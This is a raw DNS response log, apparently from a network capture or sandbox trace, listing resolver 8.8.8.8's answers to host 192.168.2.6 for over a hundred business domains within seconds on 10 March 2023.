Mar 10, 2023 07:54:42.104649067 CET	8.8.8.8	192.168.2.6	0xbce5	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.107903004 CET	8.8.8.8	192.168.2.6	0xe2d2	No error (0)	www.findbc.com		13.248.216.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.107903004 CET	8.8.8.8	192.168.2.6	0xe2d2	No error (0)	www.findbc.com		76.223.65.111	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.160797119 CET	8.8.8.8	192.168.2.6	0xf502	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.341195107 CET	8.8.8.8	192.168.2.6	0x2e71	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.486321926 CET	8.8.8.8	192.168.2.6	0x3388	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:42.486321926 CET	8.8.8.8	192.168.2.6	0x3388	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.620784998 CET	8.8.8.8	192.168.2.6	0xdcd9	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:44.988596916 CET	8.8.8.8	192.168.2.6	0xcf1c	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:45.857959032 CET	8.8.8.8	192.168.2.6	0xcf1c	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.551630974 CET	8.8.8.8	192.168.2.6	0xf66a	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.571456909 CET	8.8.8.8	192.168.2.6	0x48d	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.657186985 CET	8.8.8.8	192.168.2.6	0xa7d2	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.711122990 CET	8.8.8.8	192.168.2.6	0xcb76	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.851514101 CET	8.8.8.8	192.168.2.6	0xcf1c	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.133780956 CET	8.8.8.8	192.168.2.6	0x30f0	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:47.133780956 CET	8.8.8.8	192.168.2.6	0x30f0	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:47.133780956 CET	8.8.8.8	192.168.2.6	0x30f0	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:47.133780956 CET	8.8.8.8	192.168.2.6	0x30f0	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:47.133780956 CET	8.8.8.8	192.168.2.6	0x30f0	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.231659889 CET	8.8.8.8	192.168.2.6	0x402d	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.235169888 CET	8.8.8.8	192.168.2.6	0xb438	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:47.235169888 CET	8.8.8.8	192.168.2.6	0xb438	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:47.235169888 CET	8.8.8.8	192.168.2.6	0xb438	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.296349049 CET	8.8.8.8	192.168.2.6	0x18e7	No error (0)	www.netcr.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:47.296349049 CET	8.8.8.8	192.168.2.6	0x18e7	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:47.296349049 CET	8.8.8.8	192.168.2.6	0x18e7	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.296349049 CET	8.8.8.8	192.168.2.6	0x18e7	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.899507046 CET	8.8.8.8	192.168.2.6	0xa017	No error (0)	www.myropcb.com		74.208.215.199	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.901204109 CET	8.8.8.8	192.168.2.6	0xea7f	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.116921902 CET	8.8.8.8	192.168.2.6	0x4925	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.116921902 CET	8.8.8.8	192.168.2.6	0x4925	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.124969959 CET	8.8.8.8	192.168.2.6	0x178c	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:48.124969959 CET	8.8.8.8	192.168.2.6	0x178c	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.193978071 CET	8.8.8.8	192.168.2.6	0xd6e0	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.193978071 CET	8.8.8.8	192.168.2.6	0xd6e0	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.193978071 CET	8.8.8.8	192.168.2.6	0xd6e0	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.997980118 CET	8.8.8.8	192.168.2.6	0x2a58	No error (0)	www.stajum.com		103.3.1.161	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.011722088 CET	8.8.8.8	192.168.2.6	0x1728	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:49.011722088 CET	8.8.8.8	192.168.2.6	0x1728	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:49.011722088 CET	8.8.8.8	192.168.2.6	0x1728	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.011722088 CET	8.8.8.8	192.168.2.6	0x1728	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.011722088 CET	8.8.8.8	192.168.2.6	0x1728	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.011722088 CET	8.8.8.8	192.168.2.6	0x1728	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.2	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.240715981 CET	8.8.8.8	192.168.2.6	0x6c97	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.240715981 CET	8.8.8.8	192.168.2.6	0x6c97	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.248855114 CET	8.8.8.8	192.168.2.6	0x80d	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:49.248855114 CET	8.8.8.8	192.168.2.6	0x80d	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.266669035 CET	8.8.8.8	192.168.2.6	0xd11	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:49.266669035 CET	8.8.8.8	192.168.2.6	0xd11	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.295649052 CET	8.8.8.8	192.168.2.6	0xdef0	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.303342104 CET	8.8.8.8	192.168.2.6	0x6e6d	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.303364038 CET	8.8.8.8	192.168.2.6	0x39f5	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.304791927 CET	8.8.8.8	192.168.2.6	0x8cff	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:49.304791927 CET	8.8.8.8	192.168.2.6	0x8cff	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.307209969 CET	8.8.8.8	192.168.2.6	0x430a	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:49.307209969 CET	8.8.8.8	192.168.2.6	0x430a	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.360281944 CET	8.8.8.8	192.168.2.6	0x63b3	No error (0)	www.pdqhomes.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:49.360281944 CET	8.8.8.8	192.168.2.6	0x63b3	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:49.360281944 CET	8.8.8.8	192.168.2.6	0x63b3	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.360281944 CET	8.8.8.8	192.168.2.6	0x63b3	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.513997078 CET	8.8.8.8	192.168.2.6	0xa73a	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.614022970 CET	8.8.8.8	192.168.2.6	0x1032	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.637681007 CET	8.8.8.8	192.168.2.6	0xc0ab	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.739655018 CET	8.8.8.8	192.168.2.6	0xdfa6	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.085211039 CET	8.8.8.8	192.168.2.6	0x2ee9	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.110734940 CET	8.8.8.8	192.168.2.6	0x9137	No error (0)	www.rs-ag.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.110734940 CET	8.8.8.8	192.168.2.6	0x9137	No error (0)	www.rs-ag.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.145020962 CET	8.8.8.8	192.168.2.6	0xf4ac	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:50.145020962 CET	8.8.8.8	192.168.2.6	0xf4ac	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:50.145020962 CET	8.8.8.8	192.168.2.6	0xf4ac	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.178976059 CET	8.8.8.8	192.168.2.6	0xc28d	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.178976059 CET	8.8.8.8	192.168.2.6	0xc28d	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.178976059 CET	8.8.8.8	192.168.2.6	0xc28d	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.187817097 CET	8.8.8.8	192.168.2.6	0xbdc	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:50.187817097 CET	8.8.8.8	192.168.2.6	0xbdc	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.187817097 CET	8.8.8.8	192.168.2.6	0xbdc	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.532567978 CET	8.8.8.8	192.168.2.6	0xfa0e	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:50.532567978 CET	8.8.8.8	192.168.2.6	0xfa0e	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.532567978 CET	8.8.8.8	192.168.2.6	0xfa0e	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.693346024 CET	8.8.8.8	192.168.2.6	0x1b03	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:50.693346024 CET	8.8.8.8	192.168.2.6	0x1b03	No error (0)	ghs.googlehosted.com		216.58.215.243	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.741885900 CET	8.8.8.8	192.168.2.6	0xf4ac	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.745665073 CET	8.8.8.8	192.168.2.6	0x2d8c	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.752743959 CET	8.8.8.8	192.168.2.6	0xa8fb	No error (0)	www.petsfan.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:50.752743959 CET	8.8.8.8	192.168.2.6	0xa8fb	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:50.752743959 CET	8.8.8.8	192.168.2.6	0xa8fb	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.752743959 CET	8.8.8.8	192.168.2.6	0xa8fb	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.758836031 CET	8.8.8.8	192.168.2.6	0x729d	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.758836031 CET	8.8.8.8	192.168.2.6	0x729d	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.758836031 CET	8.8.8.8	192.168.2.6	0x729d	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.793819904 CET	8.8.8.8	192.168.2.6	0x57ab	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.132731915 CET	8.8.8.8	192.168.2.6	0xa454	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:51.132731915 CET	8.8.8.8	192.168.2.6	0xa454	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.182141066 CET	8.8.8.8	192.168.2.6	0x10cd	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.182141066 CET	8.8.8.8	192.168.2.6	0x10cd	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.188261986 CET	8.8.8.8	192.168.2.6	0xb6e2	No error (0)	www.otena.com		99.83.154.118	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.188328981 CET	8.8.8.8	192.168.2.6	0x9fde	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:51.188328981 CET	8.8.8.8	192.168.2.6	0x9fde	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:51.188328981 CET	8.8.8.8	192.168.2.6	0x9fde	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.344706059 CET	8.8.8.8	192.168.2.6	0xdebc	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:51.344706059 CET	8.8.8.8	192.168.2.6	0xdebc	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:51.344706059 CET	8.8.8.8	192.168.2.6	0xdebc	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.034847975 CET	8.8.8.8	192.168.2.6	0xb6fe	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:52.034847975 CET	8.8.8.8	192.168.2.6	0xb6fe	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.047950983 CET	8.8.8.8	192.168.2.6	0xcc73	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:52.047950983 CET	8.8.8.8	192.168.2.6	0xcc73	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.094182968 CET	8.8.8.8	192.168.2.6	0xce55	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.117017984 CET	8.8.8.8	192.168.2.6	0x7ee7	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.118446112 CET	8.8.8.8	192.168.2.6	0xed	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.124773979 CET	8.8.8.8	192.168.2.6	0x5698	No error (0)	www.wifi4all.nl		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.124773979 CET	8.8.8.8	192.168.2.6	0x5698	No error (0)	www.wifi4all.nl		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.137649059 CET	8.8.8.8	192.168.2.6	0xf7fe	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.149087906 CET	8.8.8.8	192.168.2.6	0xb072	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:52.149087906 CET	8.8.8.8	192.168.2.6	0xb072	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.768515110 CET	8.8.8.8	192.168.2.6	0xdd30	No error (0)	www.fcwcvt.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.768515110 CET	8.8.8.8	192.168.2.6	0xdd30	No error (0)	www.fcwcvt.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.774662018 CET	8.8.8.8	192.168.2.6	0x192b	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:52.774662018 CET	8.8.8.8	192.168.2.6	0x192b	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.997236967 CET	8.8.8.8	192.168.2.6	0x2337	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:52.997236967 CET	8.8.8.8	192.168.2.6	0x2337	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.003839970 CET	8.8.8.8	192.168.2.6	0x758	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:53.003839970 CET	8.8.8.8	192.168.2.6	0x758	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.026521921 CET	8.8.8.8	192.168.2.6	0x5fae	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.085078955 CET	8.8.8.8	192.168.2.6	0xdb37	No error (0)	www.cokocoko.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:53.085078955 CET	8.8.8.8	192.168.2.6	0xdb37	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:53.085078955 CET	8.8.8.8	192.168.2.6	0xdb37	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.085078955 CET	8.8.8.8	192.168.2.6	0xdb37	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.489774942 CET	8.8.8.8	192.168.2.6	0x70f3	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.593668938 CET	8.8.8.8	192.168.2.6	0xb1ac	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:53.593668938 CET	8.8.8.8	192.168.2.6	0xb1ac	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.793585062 CET	8.8.8.8	192.168.2.6	0xe2d1	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.797576904 CET	8.8.8.8	192.168.2.6	0x93aa	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.801685095 CET	8.8.8.8	192.168.2.6	0x4126	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.801685095 CET	8.8.8.8	192.168.2.6	0x4126	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.807847977 CET	8.8.8.8	192.168.2.6	0xab74	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.807847977 CET	8.8.8.8	192.168.2.6	0xab74	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.913899899 CET	8.8.8.8	192.168.2.6	0x69b6	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.172945023 CET	8.8.8.8	192.168.2.6	0x3b88	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:54.303883076 CET	8.8.8.8	192.168.2.6	0x817f	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.303883076 CET	8.8.8.8	192.168.2.6	0x817f	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.303883076 CET	8.8.8.8	192.168.2.6	0x817f	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.422641993 CET	8.8.8.8	192.168.2.6	0xef10	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.442620993 CET	8.8.8.8	192.168.2.6	0x35e0	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.460545063 CET	8.8.8.8	192.168.2.6	0x4e84	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.511337996 CET	8.8.8.8	192.168.2.6	0x452d	No error (0)	www.netcr.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:54.511337996 CET	8.8.8.8	192.168.2.6	0x452d	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:54.511337996 CET	8.8.8.8	192.168.2.6	0x452d	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.511337996 CET	8.8.8.8	192.168.2.6	0x452d	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.092679977 CET	8.8.8.8	192.168.2.6	0x983f	No error (0)	www.findbc.com		13.248.216.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.092679977 CET	8.8.8.8	192.168.2.6	0x983f	No error (0)	www.findbc.com		76.223.65.111	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.125538111 CET	8.8.8.8	192.168.2.6	0x17c9	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:55.125538111 CET	8.8.8.8	192.168.2.6	0x17c9	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.230078936 CET	8.8.8.8	192.168.2.6	0x557	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.263066053 CET	8.8.8.8	192.168.2.6	0x7a3c	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.303581953 CET	8.8.8.8	192.168.2.6	0xb22c	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.494029999 CET	8.8.8.8	192.168.2.6	0xdd17	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.676007986 CET	8.8.8.8	192.168.2.6	0x8e06	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.779480934 CET	8.8.8.8	192.168.2.6	0x1f85	No error (0)	www.railbook.net		81.171.22.7	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.961756945 CET	8.8.8.8	192.168.2.6	0xf34f	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.961756945 CET	8.8.8.8	192.168.2.6	0xf34f	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.961756945 CET	8.8.8.8	192.168.2.6	0xf34f	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.969463110 CET	8.8.8.8	192.168.2.6	0xb56	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
